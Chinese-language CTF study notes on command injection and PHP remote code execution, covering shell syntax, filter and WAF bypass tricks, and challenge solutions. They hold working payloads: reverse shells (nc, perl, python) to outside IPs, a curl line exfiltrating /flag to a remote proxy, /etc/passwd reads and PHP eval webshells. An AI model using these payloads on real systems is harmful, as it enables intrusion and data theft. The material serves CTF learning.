best_rce

1 rce基础

1.1 前言

命令注入攻击(command/shell injection)是通过目标主机上某个程序的漏洞来执行攻击者想要执行的命令。命令注入攻击常用在向程序传入不安全参数(命令行参数、http头、cookie)。

1.2 特殊符号

|

连结上个指令的标准输出,作为下个指令的标准输入。

例如:cat /flag|wc -c

-c或–bytes或–chars 只显示Bytes数。

|

&

用户有时候执行命令要花很长时间,可能会影响做其他事情。最好的方法是将它放在后台执行。后台运行的程序在用户注销后系统还可以继续执行。当要把命令放在后台执行时,在命令的后面加上&。

Linux中的&&与||

shell在执行某个命令的时候,会返回一个返回值,该返回值保存在一个shell变量中,变量为0表示执行成功,变量为1时表示执行失败。有时候,下一条命令依赖前一条命令是否执行成功。 shell提供了&&和||来实现命令执行控制的功能,shell将根据&&或||前面命令的返回值来控制其后面命令的执行。

&&:在成功地执行一条命令之后再执行另一条命令 。

||: 在一条命令执行失败后再执行另一条命令 ,也就是说如果第一条执行成功,后面那一条就不会执行了。

&&

语法格式如下:[command1 && command2 [&& command3 …]

命令之间使用 && 连接,实现逻辑与的功能。只有在&&左边的命令返回真(命令返回值为0),&&右边的命令才会被执行,只要有一个命令返回假(命令返回值为1),后面的命令就不会被执行。

||(双管道符)

语法格式如下:[command1 || command2 [|| command3 …]

命令之间使用 || 连接,实现逻辑或的功能。只有在 || 左边的命令返回假(命令返回值为1),||右边的命令才会被执行。这和c语言中的逻辑或语法功能相同,即实现短路逻辑或操作。

只要有一个命令返回真(命令返回值为0),后面的命令就不会被执行。

;(分号)

当有几个命令要连续执行时,我们可以把它们放在一行内,中间用;分开。

`(反引号)

命令替代,大部分Unix shell以及编程语言如Perl、PHP以及Ruby等都以成对的重音符(反引号)作指令替代,意思是以某一个指令的输出结果作为另一个指令的输入项。

()指令群组

格式为:(command1;command2[;command3…])

示例

1.3 Linux shell通配符/glob模式

glob 模式(globbing)也被称之为 shell 通配符,名字的起源来自于 Unix V6 中的 /etc/glob (详见 man 文档)。glob 是一种特殊的模式匹配,最常见的是通配符拓展,也可以将 glob 模式设为精简了的正则表达式,在最新的 CentOS 7 中已经删除了 glob 的相关描述文档,删除的原因由于 glob 已经整合到了 shell 之中,然后就有了 shell 通配符。shell 通配符 / glob 模式通常用来匹配目录以及文件,而不是文本!!!

1.3.1 语法

字符 解释
* 匹配任意长度任意字符
? 匹配任意单个字符
[list] 匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合
[^list] 匹配指定范围外的任意单个字符或字符集合
[!list] [^list]
{str1,str2,…} 匹配 srt1 或者 srt2 或者更多字符串,也可以是集合
IFS 由 < space > 或 < tab > 或 < enter > 三者之一组成
CR 由 < enter > 产生
! 执行 history 中的命令

以及还有专用字符集

字符 意义
[:alnum:] 任意数字或者字母
[:alpha:] 任意字母
[:space:] 空格
[:lower:] 小写字母
[:digit:] 任意数字
[:upper:] 任意大写字母
[:cntrl:] 控制符
[:graph:] 图形
[:print:] 可打印字符
[:punct:] 标点符号
[:xdigit:] 十六进制数
[:blank:] 空白字符
  • 在使用专属字符集的时候,字符集之外还需要用 [ ] 来包含住,否则专用字符集不会生效,例如[[:space:]]
  • 想要转义的时候,单引号与双引号使用方法是不同的,单引号会转义所有字符,而且单引号中间不允许再出现单引号,双引号允许出现特定的 shell 元字符,具体字符可以自行查询
  • 在使用花括号 {} 的时候,里面的单个字符串需要使用单引号或者双引号括住,否则就会视为多个的单个字符

1.3.2 应用实例

$ cat /fl??
flag{xxx}

# 存在文件 a.txt 和 b.txt 和 c.txt 和 ab.txt
$ ls [ab].txt
a.txt b.txt

$ ls *[ab].txt
ab.txt a.txt b.txt

$ ls [a-c].txt
a.txt b.txt c.txt

$ ls *[a-c].txt
a.txt ab.txt abc.txt b.txt c.txt

$ echo d{a,e,i,u,o}g
dag deg dig dug dog

#  大括号可以嵌套使用
$ echo {j{p,pe}g,png}
jpg jpeg png

#  {start..end}匹配连续字符
$ cat /f{0..z}ag
flag{xxxxx}

$ echo d{a..z}g
dag dbg dcg ddg deg dfg dgg dhg dig djg dkg dlg dmg dng dog dpg dqg drg dsg dtg dug dvg dwg dxg dyg dzg

1.4 常用绕过

1.4.1 命令分隔与执行多条命令

# Unix
%0a(%0a前后要留有空格)
$ cat /flag %0a cat /flag
flag{123}
cat: %0a: No such file or directory
cat: cat: No such file or directory
flag{123}
-----------------------------------------------------------------------------------------
%0d(%0d前后要留有空格)
$ cat /flag %0d cat /flag
flag{123}
cat: %0d: No such file or directory
cat: cat: No such file or directory
flag{123}
-----------------------------------------------------------------------------------------
;
$ cat /flag;cat /flag
flag{123}
flag{123}
-----------------------------------------------------------------------------------------
&
$ cat /flag&cat /flag
[1] 53065
flag{123}
flag{123}
[1]+  Done                    cat /flag
-----------------------------------------------------------------------------------------
|和||
$ cat /flag|cat /flag
flag{123}
$ cat /flag||cat /flag
flag{123}
-----------------------------------------------------------------------------------------
$(shell_command)`shell_command`;{ shell_command,}
左花括号与命令之间必须有空格!!!
$(cat /flag)`cat /flag`;{ cat /flag;}
flag{123}flag{123}: command not found
flag{123}

1.4.2 空格绕过

# 使用<或>
$ cat</flag
    flag{xxxxx}
$ cat<>/flag
  flag{xxxxx}
-----------------------------------------------------------------------------------------
# 使用IFS
$ cat$IFS$9/flag
  flag{xxxx}
$ cat${IFS}/flag
  flag{xxxxx}
$ cat$IFS/flag
  flag{xxxxx}
-----------------------------------------------------------------------------------------
# 使用url的编码绕过
%20(space)
%09(tab)
%3c(<)
+
-----------------------------------------------------------------------------------------
# 变量控制(这个地方不太懂)
$ X=$'cat\x20/flag'&&$X
  flag{xxxxx}
$ X=$'cat\x09/flag'&&$X
  flag{xxxxx}
-----------------------------------------------------------------------------------------
采用$@绕过
$ c$@at /fl$@ag
  flag{xxx}
$ echo i$@d
  id
$ echo i$@d|$0
   uid=0(root) gid=0(root) groups=0(root)

1.4.3 黑名单绕过

# 采用变量
a=l;b=s;$a$b
a=c;b=at;c=flag;$a$b $c

# 编码绕过
--------------------------------------base64---------------------------------------------
echo "Y2F0IC9mbGFn"|base64 -d|bash
echo "Y2F0IC9mbGFn"|base64 -d|sh
也可以把双引号去掉,空格用$IFS替换,如果是echo之类的后面跟有参数并有空格,$IFS后面还要加一个$1
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS-d|sh
-----------------------------------------hex---------------------------------------------
echo "636174202f666c6167"|xxd -r -p|bash
flag{123}

xxd -h
Usage:
    -r          reverse operation: convert (or patch) hexdump into binary.

xxd -p
glzjin
676c7a6a696e0a
-----------------------------------------\x----------------------------------------------
$(cat /flag)
flag{123}: command not found

$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")
flag{123}

{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0
flag{123}

{printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
cat 1.php
<?php @eval($_POST['c']);?>

#符号绕过
-------------------------------------------引号-------------------------------------------
c"a"t /f''l'a'g
flag{123}
-----------------------------------------反斜线-------------------------------------------
c\a\t /f\l\ag
flag{xxx}

#利用已经存在的资源
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

echo $PATH | cut -c 1
/
可用于绕过/过滤
cat `echo $PATH|cut -c 1`flag
flag{xxx}
-----------------------------------------------------------------------------------------
root@kali:# {cat,/etc/passwd}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/u


root@kali:~/rsshub/dist# test=/ehhh/hmtc/pahhh/hmsswd
root@kali:~/rsshub/dist# cat ${test//hh??hm/}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

root@kali:/# test=/fhhh/hmlag
root@kali:/# cat ${test//hh??hm/}
flag{Decadenbnbnbnb}

大招
root@kali:/#g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/}
Kali GNU/Linux Rolling \n \l
------------------------------------------反引号------------------------------------------
cat$IFS$1`ls$IFS$1-a`

1.5 Web应用防火墙绕过技巧

使用通配符绕过防火墙规则

nc -e /bin/bash ip port
root@kali:/# n? -e /???/b??h 127.0.0.1 6666
root@kali:/# nc -lvp 6666*
listening on [any] 6666 ...connect to [127.0.0.1] from localhost [127.0.0.1] 40004
id
uid=0(root) gid=0(root) 组=0(root)
whoami
root

使用字符串拼接绕过防火墙规则

root@kali:/# /'b'i''n/'c''a't /e't'c/p''as''sw'd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

使用curl -d参数读取本地文件

curl -d @/etc/passwd 127.0.0.1:6000

1.6 rce函数

exec、shell_exec、`` 在php执行完shell命令后需要echo才有输出,如果用system也会有输出,并且system函数的输入可以不要双引号。

<?php
`dir`;
//无回显
?>
-----------------------------------------------------------------------------------------
<?php
echo `dir`;
//有回显
?>
-----------------------------------------------------------------------------------------
<?php
system("dir");
//有回显
//system(dir);
//也可上面这样
?>

2 rce进阶

2.1 特殊的rce

2.1.1 命令执行没回显

题目链接:http://106.54.129.202:25502/test_rce/blind_rce/

参考资料:

1、命令执行没回显 http://www.manongjc.com/detail/14-psivilbdbxqvkta.html

2、Time_Based_RCE https://skysec.top/2017/12/29/Time-Based-RCE/

3、Linux如何在一个文件中写入内容 https://www.cnblogs.com/ConnorShip/p/10284802.html

<?php  
highlight_file(__FILE__);
$cmd=$_GET['cmd'];
`$cmd`;

?>

解法一:

反弹shell

解法二:(写一个一句话木马)

没有成功,后台写不了,用反弹shell去看了下

Permission denied

echo "<?php @eval($_POST['a']);?>" > shell.php

2.1.2 curl任意读取

题目链接:http://106.54.129.202:25502/test_rce/exec/exec4-curl.php

参考资料:

1、学习笔记之 curl 命令用法详解 https://www.cnblogs.com/doseoer/p/7044344.html

<?php
highlight_file(__FILE__);
$url = $_GET['url'];
var_dump($url);
$urlInfo = parse_url($url);
if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
    die( "scheme error!");
 }
$url=escapeshellarg($url);
var_dump($url);

$url=escapeshellcmd($url);
var_dump($url);
system("curl ".$url);

?>

payload:

?url=http://baidu.com/ ' -F file=@/flag -x 47.112.158.20:10110

result

这道题考察的知识点很是庞大,盘点下存在的坑:

1、http://baidu.com/ 最后一个/一定要加上去,不然parse_url会报错,导致通不过校验。

2、-F 后面要加file=

3、@符号也不能少,curl -x 相当于走代理,curl -F 相当于上传文件,而@后面加上字符串就相当于是文件名。

2.1.3 %0a换行符

题目链接:http://106.54.129.202:25502/test_rce/rce_path/rce_path.php

参考资料:

1、

<?php
highlight_file(__FILE__);
  $file_name = $_GET["path"];
  if(!preg_match("/^[a-zA-Z0-9\s_]+.rpt$/m", $file_name)) {
    echo "regex failed";
  } else {
    echo exec("/usr/bin/file -i -b " . $file_name);
    //echo exec("ls -al | grep " . $file_name);
  }
?>

payload:

?path=1.rpt%0acat%20/flag

/m(mutiple)多行查找
m 影响 ^、$
若不指定 m,则:^ 只在字符串的最开头,$ 只在字符串的最结尾。即:匹配整个串的开始和结束。
若指定 m,则:^在字符串每一行的开头,$ 在字符串每一行的结尾。即:匹配每一行的开始和结束。

可以使用%0a换行符绕过检验。

2.1.4 无数字字母rce

2.1.4.1 rce1

题目链接:http://106.54.129.202:25502/test_rce/jixianliyong1

<?php
highlight_file(__FILE__);
include 'flag.php';
if(isset($_GET['code']))
{
    $code = $_GET['code'];
    if(strlen($code)>40)
    {die("Long.");}
    if(preg_match("/[A-Za-z0-9]+/",$code))
    {die("NO.");}
    @eval($code);
}
//$hint =  "php function getFlag() to get flag";
//payload1:
//?code=$_="]@(:,=:"^":%\|@\]";$_();

//payload2:
//?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=getFlag();
//相当于:?code=$_=$_GET;$_GET[_]($_GET[__]);&_=assert&__=getFlag();
?> 

构造无数字字母rce:

利用可见字符之间异或的方式,绕过正则的限定条件,但面对太过复杂的限制条件,仅依赖可见字符就行不通了。

<?php
$content = 'getFlag';
$content = str_split($content);
$flag1 = '';
$flag2 = '';

$black_list = array("'",";","_","`");  //这些字符为黑名单
foreach ($content as $value){
    while(1){
        $i = random_int(32, 126);
        $j = $value^chr($i);
        if(!in_array(strval(chr($i)), $black_list) & !in_array($j, $black_list) &ord($j)>31 & ord($j)<127){
            if(!preg_match("/[A-Za-z0-9]+/",$j)&!preg_match("/[A-Za-z0-9]+/",chr($i))){   //此处填入题目限制条件
                    $flag1.=chr($i);
                    $flag2.=$j;
                    break;
            }
        }
    }
}
$flag = sprintf('"%s"^"%s"',$flag1,$flag2);
echo $flag;
?>

rce

2.1.4.2 rce2

<?php
    highlight_file(__file__);
    $a = $_GET[_];
    eval($a);
?>

脚本:

<?php
$l = "";
$r = "";
$argv = str_split("_GET");
for($i=0;$i<count($argv);$i++)
{   
    for($j=0;$j<255;$j++)
    {
        $k = chr($j)^chr(255);      
        // dechex(255) = ff
        if($k == $argv[$i]){
          if($j<16){
            $l .= "%ff";
            $r .= "%0" . dechex($j);
            continue;
          }
            $l .= "%ff";
            $r .= "%" . dechex($j);
            continue;
        }
    }
}
echo trim("\{$l^$r}",'\\');
//payload1:
// {%ff%ff%ff%ff^%a0%b8%ba%ab}    _GET
// ?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag

//payload2:
//
?>

2.2 反弹shell

perl

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"174.1.108.173:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
-----------------------------------------------------------------------------------------
perl -e 'use Socket;$i="127.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
这一条在[V&N2020 公开赛]CHECKIN没有成功,但本机测试发现是可以的。

python

python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('174.1.108.173',10110));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

3 真题

3.1 无数字字母rce

3.1.1 Hard_Pentest_1(2020XCTF)

限制条件:

过滤字符:数字 字母 ; ~ ^ ` & |

<?php
#index.php
//Clear the uploads directory every hour
highlight_file(__FILE__);
$sandbox = "uploads/". md5("De1CTF2020".$_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if($_POST["submit"]){
    if (($_FILES["file"]["size"] < 2048) && Check()){
        if ($_FILES["file"]["error"] > 0){
            die($_FILES["file"]["error"]);
        }
        else{
            $filename=md5($_SERVER['REMOTE_ADDR'])."_".$_FILES["file"]["name"];
            move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
            echo "save in:" . $sandbox."/" . $filename;
        }
    }
    else{
        echo "Not Allow!";
    }
}

function Check(){
    $BlackExts = array("php");
    $ext = explode(".", $_FILES["file"]["name"]);
    $exts = trim(end($ext));
    $file_content = file_get_contents($_FILES["file"]["tmp_name"]);

    if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content)  && 
        !in_array($exts, $BlackExts) && 
        !preg_match('/\.\./',$_FILES["file"]["name"])) {
          return true;
    }
    return false;
}
?>

<html>
<head>
<meta charset="utf-8">
<title>upload</title>
</head>
<body>

<form action="index.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="submit">
</form>

</body>
</html>

思路:

需要构造无数字字母分号的webshell,而分号作为一种语句的结束和多个语句之间的分隔,在PHP的单行模式下则可以进行省略 。基于此构造一个无数字字母分号的$_POST[__]($_POST[_])进行RCE。同时需要注意后台为windows,后缀名用phtml的话就会有405错误,我们可以利用源码中对后缀名大小写不敏感的特性,用.pHP进行绕过。但是这种不能蚁剑连,又需要在此基础上写一个可以蚁剑连接的马,构造如下:

<?=$_=[]?><?=$_=@"$_"?><?=$_=$_['!'=='@']?><?=$___=$_?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?= $___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$____='_'?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$_=$$____?><?=$_[__]($_[_])?>
以post的形式写一个一句话:
__=system&_=echo "<?php eval($_POST['pperk']);?>">pperk.php

蚁剑连接,也是第一次进windows的后台,哈哈哈!!!

蚁剑连接

3.1.2 你取吧(36D)

<?php
error_reporting(0);
show_source(__FILE__);
$hint=file_get_contents('php://filter/read=convert.base64-encode/resource=hhh.php');
$code=$_REQUEST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^');
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
    if (preg_match ('/' . $blacklisted . '/im', $code)) {
        die('nonono');
    }
}
eval("echo($code);");
?>

先把前面的echo()给闭合了,然后上Payload之后用//再把后面的给注释了掉,最后POST提交_=system('cat /flag');即可

?code=" ");$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);//

3.2. 绕过waf

3.2.1 36d—CTFShow

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("nl", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
        $get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
        if (preg_match("/['\*\"[?]/", $get_flag)) {
            die('非预期修复*2');
        }
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>

没有过滤反斜杠,所以用反斜杠绕过waf,用<代替空格,本题flag在flag.php,所以payload如下:

ca\t<flag.ph\p
也可以:
rev<flag.ph\p|rev

3.3 绝对路径调用shell命令

3.3.1 [FBCTF2019]RCEService

考点:绝对路径调用shell命令 + 绕过preg_match

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

参考资料

1、巧用命令注入的N种方式

https://blog.zeddyu.info/2019/01/17/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/?nsukey=cuhulJXlnsZXm26jcGfSU8uPQuyj9lHy6JgzI%2BHhWH1nSmTpihzzdItxZ7N1B0TTCZQxyFcmPSwDU0uGz4FXL8FpXdDuln1pncMlPJwcUBecvaQyvnS6cP2OUvZa6shJUIj%2FiE0H0ebV%2FBVPBUy%2BjN49HZp3VWB3QYmn2UuB5bfX9qw7WDjN7ABJb91GoDELgMcQig8qL%2FlsOWoTbHw30w%3D%3D#%E8%AF%AD%E6%B3%95

2、命令注入各种骚姿势

https://wulidecade.cn/2019/02/17/%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E5%90%84%E7%A7%8D%E9%AA%9A%E5%A7%BF%E5%8A%BF/

3、Linux下几种常见的反弹shell方式

https://www.jianshu.com/p/9456473a0a14

4、利用ViewState在ASP.NET中实现反序列化RCE

https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652476049&idx=1&sn=c695ef1e19eee8762430f149ecd6c043&chksm=f2583122c52fb8347b6c7ca627446fce78a9df3c905ed923d39e02851936fe8b0817976bcba3&token=1835870080&lang=zh_CN#rd

5、从一道CTF的非预期解看PHP反斜杠匹配问题 https://blog.csdn.net/qq_43147039/article/details/105484384


   转载规则


《best_rce》 pperk 采用 知识共享署名 4.0 国际许可协议 进行许可。
  目录